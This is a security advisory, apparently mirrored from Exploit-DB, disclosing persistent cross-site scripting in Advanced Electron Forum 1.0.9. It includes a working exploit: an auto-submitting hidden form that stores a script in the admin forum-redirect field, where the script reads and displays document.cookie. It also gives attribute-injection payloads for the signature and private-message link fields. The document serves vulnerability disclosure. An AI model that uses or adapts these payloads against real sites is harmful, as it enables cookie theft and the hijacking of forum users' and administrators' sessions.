Advanced Electron Forum 1.0.9 – Persistent Cross-Site Scripting

  • 作者: hyp3rlinx
    日期: 2016-01-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39262/
  • [+] Credits: hyp3rlinx
    
    [+] Website: hyp3rlinx.altervista.org
    
    [+] Source:http://hyp3rlinx.altervista.org/advisories/AEF-XSS.txt
    
    
    Vendor:
    =============================
    www.anelectron.com/downloads/
    
    
    Product:
    ====================================
    Advanced Electron Forum v1.0.9 (AEF)
    Exploit patched current version.
    
    
    Vulnerability Type:
    ===================
    Persistent XSS
    
    
    CVE Reference:
    ==============
    N/A
    
    
    Vulnerability Details:
    =====================
    
    In Admin panel under Edit Boards / General Stuff / General Options
    
    There is an option to sepcify a redirect URL for the forum.
    
    See --> Redirect Forum:
    Enter a URL to which this forum will be redirected to.
    
    The redirect input field is vulnerable to a persistent XSS that will be
    stored in the MySQL database
    and execute attacker supplied client side code each time a victim visits
    the following URLs.
    
    http://localhost/AEF(1.0.9)_Install/index.php?
    
    http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1
    
    
    
    Exploit code(s):
    ===============
    
    Persistent XSS
    
    <form id="XSS-DE-PERSISTO" action="
    http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1"
    method="post">
    <input type="hidden" name="editmother" value="c1" />
    <input type="hidden" name="forder" value="1" />
    <input type="hidden" name="fstatus" value="1" />
    <input type="hidden" name="fredirect" value='"/><script>alert("XSS
    hyp3rlinx \n\n" + document.cookie)</script>' />
    <input type="hidden" name="fimage" value="" />
    <input type="hidden" name="fname" value="Generals" />
    <input type="hidden" name="fdesc" value="hyp3rlinx" />
    <input type="hidden" name="ftheme" value="0" />
    <input type="hidden" name="frulestitle" value="MAYHEM" />
    <input type="hidden" name="frules" value="0" />
    <input type="hidden" name="rss" value="10" />
    <input type="hidden" name="rss_topic" value="0" />
    <input type="hidden" name="member[-1]" value="on" />
    <input type="hidden" name="member[0]" value="on" />
    <input type="hidden" name="member[3]" value="on" />
    <input type="hidden" name="inc_mem_posts" value="on" />
    <input type="hidden" name="allow_poll" value="on" />
    <input type="hidden" name="allow_html" value="on" />
    <input type="hidden" name="mod_posts" value="on" />
    <input type="hidden" name="editboard" value="Edit+Forum" />
    <script>document.getElementById('XSS-DE-PERSISTO').submit()</script>
    </form>
    
    
    
    Some other misc XSS(s) under 'Signature' area.
    
    
    http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=signature
    on Anchor link setting
    http://"onMouseMove="alert(0)
    
    AND
    
    http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=writepm
    email link:
    mailto:"onMouseMove="alert(1)
    
    
    
    Disclosure Timeline:
    =====================================
    Vendor Notification:NA
    January 17, 2016: Public Disclosure
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ================
    High
    
    
    Description:
    =================================================================
    
    
    Request Method(s):[+] POST
    
    
    Vulnerable Product: [+] AEF v1.0.9 (exploit patched version)
    
    
    Vulnerable Parameter(s):[+] 'fredirect'
    
    =================================================================
    
    [+] Disclaimer
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and that due
    credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit is given to
    the author.
    The author is not responsible for any misuse of the information contained
    herein and prohibits any malicious use of all security related information
    or exploits by the author or elsewhere.
    
    by hyp3rlinx